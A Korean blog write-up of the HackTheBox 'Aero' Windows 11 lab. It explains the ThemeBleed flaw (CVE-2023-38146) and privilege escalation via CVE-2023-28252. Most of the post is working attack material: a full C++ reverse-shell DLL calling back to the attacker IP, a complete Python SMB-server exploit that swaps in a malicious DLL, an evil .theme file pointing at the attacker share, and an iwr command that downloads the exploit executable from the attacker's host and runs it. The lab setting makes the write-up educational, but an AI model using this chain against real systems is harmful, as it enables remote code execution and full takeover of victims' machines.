1 nmap 수행 : 80번 포트 IIS 10.0 서버 확인

80포트 접근 시 웹페이지를 확인 할 수 있으며, Upload 씬 확인 및 업로드 가능 확장자 확인 (.theme, .themepack)



theme PE파일이라 실행해 봄

2. 공격 표면 탐색을 위해 디렉터리 리스팅수행 gobuster 보다 feroxbuster 가 훨씬 빨랐다.
=> 의미있는 경로는 없음

3. Windows 11 theme 파일 CVE 검색 시 CVE-2023-38146 확인

- CVE 설명 : > theme 확장자를 이용한 취약점
================ stage 1 ================
> theme 파일은 .msstyle(그래픽컬 리소스)을 호출함
> 호출시의 경로를 공격자의 Ip 및 파일로 호출
> 호출하는 .msstyle 파일의 버전 999로 사용
=> .msstyle file의 버전이 999 일때, ReviseVersionIfNecessary 함수 호출 (uxtheme.dll)
__int64 __fastcall LoadThemeLibrary(const WCHAR *msstyles_path, HMODULE *out_module, int *out_version)
{
HMODULE module_handle;
signed int result;
int version;
signed int return_val;
unsigned int resource_size;
__int16 *version_ptr;
if ( out_version )
*out_version = 0;
module_handle = LoadLibraryExW(msstyles_path, 0, 2u);
if ( !module_handle )
return (unsigned int)MakeErrorLast();
result = GetPtrToResource(
module_handle,
L"PACKTHEM_VERSION",
(const unsigned __int16 *)1,
(void **)&version_ptr,
&resource_size); // !!! [1] version number is extracted from resource "PACKTHEM_VERSION"
if ( result < 0 || resource_size != 2 )
goto LABEL_22;
version = *version_ptr;
if ( out_version )
*out_version = version;
return_val = -2147467259;
if ( version >= 4 )
{
if ( version > 4 )
result = -2147467259;
return_val = result;
}
if ( return_val < 0 && (_WORD)version == 999 ) // !!! [2] special case for version 999
{
resource_size = 999;
return_val = ReviseVersionIfNecessary(msstyles_path, 999, (int *)&resource_size); // !!! [3] call to `ReviseVersionIfNecessary`
...
}
================ stage 2 ================
> ReviseVersionIfNecessary 는 아래와 같은 행동 수행
1) 같은 경로의 .msstyle 파일명에서 _vrf.dll 로 끝나는 파일을 생성
2) _vrf.dll 파일 존재하는지 체크
3) _vrf.dll file 오픈
4) _vrf.dll 파일 verify , invalid 하면 exit
5) _vrf.dll 파일 close
================ stage 3 ================
> _vrf.dll 파일 읽어와서 VerifyThemeVersion 함수 호출할때 악의 적인 행동 수행
=> DLL(_vrf.dll)의 서명이 검증되는 시점과 라이브러리가 로드되는 시점 사이에 큰 시간 차이가 있어 경쟁 상태
(race condition)가 발생한다는 것을 이용
Kirkpatrick 이걸로 $5,000 받음 와우~!

Windows 11 ‘ThemeBleed’ RCE bug gets proof-of-concept exploit
Security researcher Gabe Kirkpatrick has made a proof-of-concept (PoC) exploit available for CVE-2023-38146, aka "ThemeBleed," which enables attackers to trigger arbitrary remote code execution if the target opens a specially crafted '.theme' file.
www.bleepingcomputer.com
- exploit code : https://github.com/gabe-k/themebleed
GitHub - gabe-k/themebleed: Proof-of-Concept for CVE-2023-38146 ("ThemeBleed")
Proof-of-Concept for CVE-2023-38146 ("ThemeBleed") - gabe-k/themebleed
github.com
- stage_1 - An msstyles file with the PACKTHEM_VERSION set to 999.
- stage_2 - A valid unmodified msstyles file to pass the signature check.
- stage_3 - The DLL that will be loaded and executed. The provided example simply launches calc.exe.

서버 실행시 오류 발생 .> 윈도우에서 SMB 서버가 디폴트로 띄어져 있어서 그런것!

서비스 > Server 사용안함으로 설정 후 재시작
ThemeBleed.exe make_theme 10.10.14.53 aero.theme
aero.theme 파일 생성
=> 업로드 할 theme 파일로 host의 취약한 msstyle 호출
다음 과정은 reverseshell 용 dll 만들기



rev.cpp 파일
#include "pch.h"
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdlib.h>
#pragma comment(lib, "Ws2_32.lib")
#include "rev.h"
using namespace std;
void rev_shell()
{
FreeConsole();
const char* REMOTE_ADDR = "10.10.14.53";
const char* REMOTE_PORT = "1234";
WSADATA wsaData;
int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
struct addrinfo* result = NULL, * ptr = NULL, hints;
memset(&hints, 0, sizeof(hints));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
getaddrinfo(REMOTE_ADDR, REMOTE_PORT, &hints, &result);
ptr = result;
SOCKET ConnectSocket = WSASocket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol, NULL, NULL, NULL);
connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (HANDLE)ConnectSocket;
si.hStdOutput = (HANDLE)ConnectSocket;
si.hStdError = (HANDLE)ConnectSocket;
TCHAR cmd[] = TEXT("C:\\WINDOWS\\SYSTEM32\\CMD.EXE");
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
WSACleanup();
}
int VerifyThemeVersion(void)
{
rev_shell();
return 0;
}

rev.h
#pragma once
extern "C" __declspec(dllexport) int VerifyThemeVersion(void);




> copy ThemeBleed.dll C:\업무\HTB\Aero\ThemeBleed\data\stage_3

위에 아무행동 일어나지 않음
이후로 칼리에서 하다가 안되고,
minGW-w64 gcc 컴파일러 윈도우에 설치 후 수행!
https://github.com/Jnnshschl/CVE-2023-38146
아래 코드 사용
# >> PoC for the ThemeBleed CVE-2023-38146 exploit (Windows 11 Themes)
#
# Heavily inspired by https://github.com/gabe-k/themebleed which only runs on windows (the reason why i decided to write this).
# Used modified code from the impacket smbserver.py (https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)
# Useful stuff: https://github.com/TalAloni/SMBLibrary/blob/master/SMBLibrary/NTFileStore/Enums/NtCreateFile/ShareAccess.cs
#
# - How to use this:
# Place a DLL with an exported function "VerifyThemeVersion" in the
# "./td/" folder named "Aero.msstyles_vrf_evil.dll"
#
# pip3 install -r requirements.txt
# python3 themebleed.py -r RHOST
#
# Use the "evil_theme.theme" or "evil_theme.themepack"
#
# Profit!
import argparse
import os
import sys
import socket
import logging as logger
from pathlib import Path
from cabarchive import CabArchive, CabFile
from impacket import smb, uuid
from impacket import smb3structs as smb2
from impacket.smbserver import SimpleSMBServer, normalize_path, isInFileJail, queryPathInformation, PIPE_FILE_DESCRIPTOR, STATUS_SMB_BAD_TID
from impacket.nt_errors import *
class TBSmbServer(SimpleSMBServer):
def __init__(self, address: str, port: int, no_smb2: bool = False) -> None:
SimpleSMBServer.__init__(self, address, port)
# replace SMB2_CREATE handler to replace the good dll with the evil dll on the fly
self._SimpleSMBServer__server._SMBSERVER__smb2Commands[smb2.SMB2_CREATE] = self.tbSmb2Create
self.server_folder = "./tb/"
if not Path(self.server_folder).exists():
os.makedirs(self.server_folder)
self.setSMB2Support(not no_smb2)
self.addShare("tb", self.server_folder)
self.default_share = "tb"
# copied and modified version from https://github.com/fortra/impacket/blob/master/impacket/smbserver.py
def tbSmb2Create(self, connId, smbServer, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2Create_Response()
ntCreateRequest = smb2.SMB2Create(recvPacket['Data'])
respSMBCommand['Buffer'] = b'\x00'
# Get the Tid associated
if recvPacket['TreeID'] in connData['ConnectedShares']:
# If we have a rootFid, the path is relative to that fid
errorCode = STATUS_SUCCESS
if 'path' in connData['ConnectedShares'][recvPacket['TreeID']]:
path = connData['ConnectedShares'][recvPacket['TreeID']]['path']
else:
path = 'NONE'
errorCode = STATUS_ACCESS_DENIED
deleteOnClose = False
fileName = normalize_path(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le'))
# patch the sending of the dll file
try:
shareAccess = ntCreateRequest["ShareAccess"]
if fileName.endswith(".msstyles"):
logger.warning(f"Stage 1/3: \033[1;36m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
# fileName = "Aero.msstyles"
elif fileName.endswith("_vrf.dll"):
if shareAccess != 0x5:
logger.warning(f"Stage 2/3: \033[1;33m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
# fileName = "Aero.msstyles_vrf.dll"
else:
logger.warning(f"Stage 3/3: \033[1;31m\"{fileName}\"\033[0m [shareAccess: \033[1;32m{shareAccess}\033[0m]")
fileName = "Aero.msstyles_vrf_evil.dll"
except Exception as ex:
logger.error(f"tbSmb2Create: {ex}")
if not isInFileJail(path, fileName):
return [smb2.SMB2Error()], None, STATUS_OBJECT_PATH_SYNTAX_BAD
pathName = os.path.join(path, fileName)
createDisposition = ntCreateRequest['CreateDisposition']
mode = 0
if createDisposition == smb2.FILE_SUPERSEDE:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF:
mode |= os.O_TRUNC | os.O_CREAT
elif createDisposition & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE:
if os.path.exists(pathName) is True:
mode |= os.O_TRUNC
else:
errorCode = STATUS_NO_SUCH_FILE
elif createDisposition & smb2.FILE_OPEN_IF == smb2.FILE_OPEN_IF:
mode |= os.O_CREAT
elif createDisposition & smb2.FILE_CREATE == smb2.FILE_CREATE:
if os.path.exists(pathName) is True:
errorCode = STATUS_OBJECT_NAME_COLLISION
else:
mode |= os.O_CREAT
elif createDisposition & smb2.FILE_OPEN == smb2.FILE_OPEN:
if os.path.exists(pathName) is not True and (
str(pathName) in smbServer.getRegisteredNamedPipes()) is not True:
errorCode = STATUS_NO_SUCH_FILE
if errorCode == STATUS_SUCCESS:
desiredAccess = ntCreateRequest['DesiredAccess']
if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):
mode |= os.O_RDONLY
if (desiredAccess & smb2.FILE_WRITE_DATA) or (desiredAccess & smb2.GENERIC_WRITE):
if (desiredAccess & smb2.FILE_READ_DATA) or (desiredAccess & smb2.GENERIC_READ):
mode |= os.O_RDWR # | os.O_APPEND
else:
mode |= os.O_WRONLY # | os.O_APPEND
if desiredAccess & smb2.GENERIC_ALL:
mode |= os.O_RDWR # | os.O_APPEND
createOptions = ntCreateRequest['CreateOptions']
if mode & os.O_CREAT == os.O_CREAT:
if createOptions & smb2.FILE_DIRECTORY_FILE == smb2.FILE_DIRECTORY_FILE:
try:
# Let's create the directory
os.mkdir(pathName)
mode = os.O_RDONLY
except Exception as e:
errorCode = STATUS_ACCESS_DENIED
if createOptions & smb2.FILE_NON_DIRECTORY_FILE == smb2.FILE_NON_DIRECTORY_FILE:
# If the file being opened is a directory, the server MUST fail the request with
# STATUS_FILE_IS_A_DIRECTORY in the Status field of the SMB Header in the server
# response.
if os.path.isdir(pathName) is True:
errorCode = STATUS_FILE_IS_A_DIRECTORY
if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE:
deleteOnClose = True
if errorCode == STATUS_SUCCESS:
try:
if os.path.isdir(pathName) and sys.platform == 'win32':
fid = VOID_FILE_DESCRIPTOR
else:
if sys.platform == 'win32':
mode |= os.O_BINARY
if str(pathName) in smbServer.getRegisteredNamedPipes():
fid = PIPE_FILE_DESCRIPTOR
sock = socket.socket()
sock.connect(smbServer.getRegisteredNamedPipes()[str(pathName)])
else:
fid = os.open(pathName, mode)
except Exception as e:
# print e
fid = 0
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_SMB_BAD_TID
if errorCode == STATUS_SUCCESS:
# Simple way to generate a fid
fakefid = uuid.generate()
respSMBCommand['FileID'] = fakefid
respSMBCommand['CreateAction'] = createDisposition
if fid == PIPE_FILE_DESCRIPTOR:
respSMBCommand['CreationTime'] = 0
respSMBCommand['LastAccessTime'] = 0
respSMBCommand['LastWriteTime'] = 0
respSMBCommand['ChangeTime'] = 0
respSMBCommand['AllocationSize'] = 4096
respSMBCommand['EndOfFile'] = 0
respSMBCommand['FileAttributes'] = 0x80
else:
if os.path.isdir(pathName):
respSMBCommand['FileAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY
else:
respSMBCommand['FileAttributes'] = ntCreateRequest['FileAttributes']
# Let's get this file's information
respInfo, errorCode = queryPathInformation(path, fileName, level=smb.SMB_QUERY_FILE_ALL_INFO)
if errorCode == STATUS_SUCCESS:
respSMBCommand['CreationTime'] = respInfo['CreationTime']
respSMBCommand['LastAccessTime'] = respInfo['LastAccessTime']
respSMBCommand['LastWriteTime'] = respInfo['LastWriteTime']
respSMBCommand['LastChangeTime'] = respInfo['LastChangeTime']
respSMBCommand['FileAttributes'] = respInfo['ExtFileAttributes']
respSMBCommand['AllocationSize'] = respInfo['AllocationSize']
respSMBCommand['EndOfFile'] = respInfo['EndOfFile']
if errorCode == STATUS_SUCCESS:
# Let's store the fid for the connection
# smbServer.log('Create file %s, mode:0x%x' % (pathName, mode))
connData['OpenedFiles'][fakefid] = {}
connData['OpenedFiles'][fakefid]['FileHandle'] = fid
connData['OpenedFiles'][fakefid]['FileName'] = pathName
connData['OpenedFiles'][fakefid]['DeleteOnClose'] = deleteOnClose
connData['OpenedFiles'][fakefid]['Open'] = {}
connData['OpenedFiles'][fakefid]['Open']['EnumerationLocation'] = 0
connData['OpenedFiles'][fakefid]['Open']['EnumerationSearchPattern'] = ''
if fid == PIPE_FILE_DESCRIPTOR:
connData['OpenedFiles'][fakefid]['Socket'] = sock
else:
respSMBCommand = smb2.SMB2Error()
if errorCode == STATUS_SUCCESS:
connData['LastRequest']['SMB2_CREATE'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
if __name__ == "__main__":
logger.basicConfig(format="\r%(asctime)s %(levelname)s> %(message)s", level=logger.DEBUG)
parser = argparse.ArgumentParser()
parser.add_argument("-r", "--host", dest="ipaddress", help="IP Address of the rev shell host", type=str, required=True)
parser.add_argument("-p", "--port", dest="port", help="Port of the rev shell host", type=int, default=4711)
parser.add_argument("-n", "--no-dll", dest="nodll", help="Don't use the built in dll", action='store_true')
parser.add_argument("--x86", dest="x86", help="Compile dll as 32bit", action='store_true')
args = parser.parse_args()
logger.info("ThemeBleed CVE-2023-38146 PoC [\033[1;36mhttps://github.com/Jnnshschl\033[0m]")
logger.info("Credits to -> \033[1;33mhttps://github.com/gabe-k/themebleed\033[0m, \033[1;33mimpacket\033[0m and \033[1;33mcabarchive\033[0m\n")
# compile rev_shell.cpp
if not args.nodll:
compiler = "i686-w64-mingw32-g++" if args.x86 else "x86_64-w64-mingw32-g++"
dll_source = "./rev_shell_template.cpp"
dll_source_mod = "./rev_shell.cpp"
dll_path = "./tb/Aero.msstyles_vrf_evil.dll"
dll_args = f"{dll_source_mod} -shared -lws2_32 -o {dll_path}"
try:
with open(dll_source) as dll_source_template_file:
with open(dll_source_mod, "w+") as dll_source_file:
source = dll_source_template_file.read().replace("{{IP_ADDR}}", args.ipaddress).replace("{{PORT}}", str(args.port))
dll_source_file.write(source)
compile_result = os.system(f"{compiler} {dll_args}")
if compile_result == 0 and Path(dll_path).exists():
logger.info(f"Compiled DLL: \033[1;36m\"{dll_path}\"\033[0m")
else:
logger.error(f"Failed to build DLL using ({compiler}): \033[1;31m{compile_result}\033[0m")
logger.error(f"-> {compiler} {dll_args}")
exit(1)
finally:
if Path(dll_source_mod).exists():
os.remove(dll_source_mod)
# generate theme and themepack
with open("./theme_template.theme") as theme_template:
with open("./evil_theme.theme", "w+") as evil_theme:
tt = theme_template.read().replace("{{IP_ADDR}}", args.ipaddress)
evil_theme.write(tt)
arc = CabArchive()
arc["evil_theme.theme"] = CabFile(tt.encode())
logger.info("Theme generated: \033[1;36m\"evil_theme.theme\"\033[0m")
with open("evil_theme.themepack", "wb") as evil_themepack:
evil_themepack.write(arc.save())
logger.info("Themepack generated: \033[1;36m\"evil_theme.themepack\"\033[0m\n")
logger.info(f"Remember to start netcat: \033[1;32mrlwrap -cAr nc -lvnp {args.port}\033[0m")
logger.info(f"Starting SMB server: \033[1;32m{args.ipaddress}:445\033[0m\n")
TBSmbServer(args.ipaddress, 445).start()

; windows 11 theme exploit
; copyright 2023 fukin software foundation
[Theme]
DisplayName=@%SystemRoot%\System32\themeui.dll,-2060
[Control Panel\Desktop]
Wallpaper=%SystemRoot%\web\wallpaper\Windows\img0.jpg
TileWallpaper=0
WallpaperStyle=10
[VisualStyles]
Path=\\10.10.14.53\tb\Aero.msstyles
ColorStyle=NormalColor
Size=NormalSize
[MasterThemeSelector]
MTSM=RJSPBS
위는 evil_theme.theme

4. root 획득 시이이작!!
아래 힌트 획득

POC 코드를 빌드해보자!!
GitHub - 726232111/CVE-2023-28252
GitHub - 726232111/CVE-2023-28252
Contribute to 726232111/CVE-2023-28252 development by creating an account on GitHub.
github.com
1) 솔루션 열기
- Visual Studio를 실행한 후 "파일" 메뉴에서 "열기" > "프로젝트/솔루션"을 선택합니다.
- 솔루션 파일(.sln)을 찾아서 엽니다.
2) 솔루션 구성 확인 및 변경
- 솔루션 탐색기에서 프로젝트를 우클릭하고 "속성"을 선택하여 프로젝트의 속성 페이지를 엽니다.
- "구성 관리자"에서 빌드하려는 구성(예: Debug 또는 Release)과 플랫폼(예: x86 또는 x64)을 선택합니다.
3) 솔루션 빌드
- "빌드" 메뉴에서 "솔루션 빌드"를 선택하거나 F7 키를 눌러 솔루션을 빌드합니다. 이 과정은 프로젝트에 포함된 모든 소스 코드를 컴파일하고 실행 가능한 파일(.exe)을 생성합니다.

python -m http.server 8099

Invoke-WebRequest(iwr)을 이용하여, PowerShell에서 웹 요청
iwr http://10.10.14.53:8099/CVE-2023-28252.exe -outfile CVE-2023-28252.exe
파일 실행하여 Root 권한 획득

※ 참고
https://0xdf.gitlab.io/2023/09/28/htb-aero.html
https://exploits.forsale/themebleed/
https://infosecwriteups.com/aero-htb-windows-11-rce-privesc-themebleed-clfs-36e0379d5e68
https://github.com/Jnnshschl/CVE-2023-38146
https://github.com/gabe-k/themebleed
'Hacking > HackTheBox' 카테고리의 다른 글
Giddy (0) | 2024.05.15 |
---|---|
escape(windows) (1) | 2024.04.16 |
support (0) | 2024.04.03 |
Analytics (0) | 2024.02.13 |
devvortex (0) | 2024.02.01 |